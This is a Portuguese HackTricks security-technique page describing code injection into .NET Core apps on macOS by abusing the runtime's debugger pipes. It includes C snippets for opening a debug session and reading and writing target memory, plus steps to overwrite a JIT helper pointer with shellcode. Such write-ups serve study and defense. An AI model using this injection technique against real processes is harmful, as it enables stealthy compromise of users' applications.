# Injeção em Aplicações .Net no macOS
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## Depuração do .NET Core ### **Estabelecer uma sessão de depuração** [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) é responsável por lidar com a **comunicação** entre o depurador e o depurado.\ Ele cria 2 pipes nomeados por processo .Net em [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) chamando [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (um terminará em **`-in`** e o outro em **`-out`**, e o resto do nome será o mesmo). Portanto, se você for ao **`$TMPDIR`** do usuário, poderá encontrar **fifos de depuração** que poderiam ser usados para depurar aplicações .Net:
A função [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) lidará com a comunicação de um depurador. A primeira coisa que um depurador precisa fazer é **criar uma nova sessão de depuração**. Isso é feito **enviando uma mensagem através do pipe `out`** começando com uma estrutura `MessageHeader`, que podemos obter do código-fonte do .NET: ```c struct MessageHeader { MessageType m_eType; // Type of message this is DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero) DWORD m_dwId; // Message ID assigned by the sender of this message DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB) DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue) DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and // never read) union { struct { DWORD m_dwMajorVersion; // Protocol version requested/accepted DWORD m_dwMinorVersion; } VersionInfo; ... } TypeSpecificData; BYTE m_sMustBeZero[8]; } ``` No caso de uma nova solicitação de sessão, essa struct é preenchida da seguinte forma: ```c static const DWORD kCurrentMajorVersion = 2; static const DWORD kCurrentMinorVersion = 0; // Set the message type (in this case, we're establishing a session) sSendHeader.m_eType = MT_SessionRequest; // Set the version sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion; sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; // Finally set the number of bytes which follow this header sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` Uma vez construído, **enviamos isso para o alvo** usando a chamada de sistema `write`: ```c write(wr, &sSendHeader, sizeof(MessageHeader)); ``` Seguindo nosso cabeçalho, precisamos enviar uma estrutura `sessionRequestData`, que contém um GUID para identificar nossa sessão: ```c // All '9' is a GUID.. right?? memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); // Send over the session request data write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` Ao enviar nossa solicitação de sessão, nós **lemos do `out` pipe um cabeçalho** que indicará **se** nossa solicitação para estabelecer se uma sessão de depuração foi **bem-sucedida** ou não: ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` ### Ler Memória Com uma sessão de depuração estabelecida, é possível **ler memória** usando o tipo de mensagem [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Para ler alguma memória, o código principal necessário seria: ```c bool readMemory(void *addr, int len, unsigned char **output) { *output = (unsigned char *)malloc(len); if (*output == NULL) { return false; } sSendHeader.m_dwId++; // We increment this for each request sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write sSendHeader.m_cbDataBlock = 0; // Write the header if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) { return false; } // Read the response header if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) { return false; } // Make sure that memory could be read before we attempt to read further if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { return false; } memset(*output, 0, len); // Read the memory from the debugee if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) { return false; } return true; } ``` O código de prova de conceito (POC) pode ser encontrado [aqui](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). ### Escrever memória ```c bool writeMemory(void *addr, int len, unsigned char *input) { sSendHeader.m_dwId++; // We increment this for each request sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write sSendHeader.m_cbDataBlock = len; // Write the header if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) { return false; } // Write the data if (write(wr, input, len) < 0) { return false; } // Read the response header if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) { return false; } // Ensure our memory write was successful if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) { return false; } return true; } ``` O código POC utilizado para isso pode ser encontrado [aqui](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). ### Execução de código .NET Core A primeira coisa é identificar, por exemplo, uma região de memória com **`rwx`** ativa para salvar o shellcode a ser executado. Isso pode ser feito facilmente com: ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` Então, para desencadear a execução, seria necessário saber algum lugar onde um ponteiro de função é armazenado para sobrescrevê-lo. É possível sobrescrever um ponteiro dentro da **Tabela de Funções Dinâmicas (DFT)**, que é usada pelo tempo de execução do .NET Core para fornecer funções auxiliares para a compilação JIT. Uma lista de ponteiros de função suportados pode ser encontrada dentro de [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h). Nas versões x64 isso é direto usando a técnica de **caça de assinaturas** ao estilo mimikatz para procurar em **`libcorclr.dll`** por uma referência ao símbolo **`_hlpDynamicFuncTable`**, que podemos desreferenciar:
Tudo o que resta a fazer é encontrar um endereço do qual iniciar nossa busca de assinatura. Para fazer isso, aproveitamos outra função de depuração exposta, **`MT_GetDCB`**. Isso retorna uma série de informações úteis sobre o processo alvo, mas para o nosso caso, estamos interessados em um campo retornado contendo o **endereço de uma função auxiliar**, **`m_helperRemoteStartAddr`**. Usando este endereço, sabemos exatamente **onde `libcorclr.dll` está localizado** na memória do processo alvo e podemos iniciar nossa busca pela DFT. Sabendo desse endereço, é possível sobrescrever o ponteiro da função com o nosso próprio shellcode. O código POC completo usado para injetar no PowerShell pode ser encontrado [aqui](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). ## Referências * Esta técnica foi retirada de [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).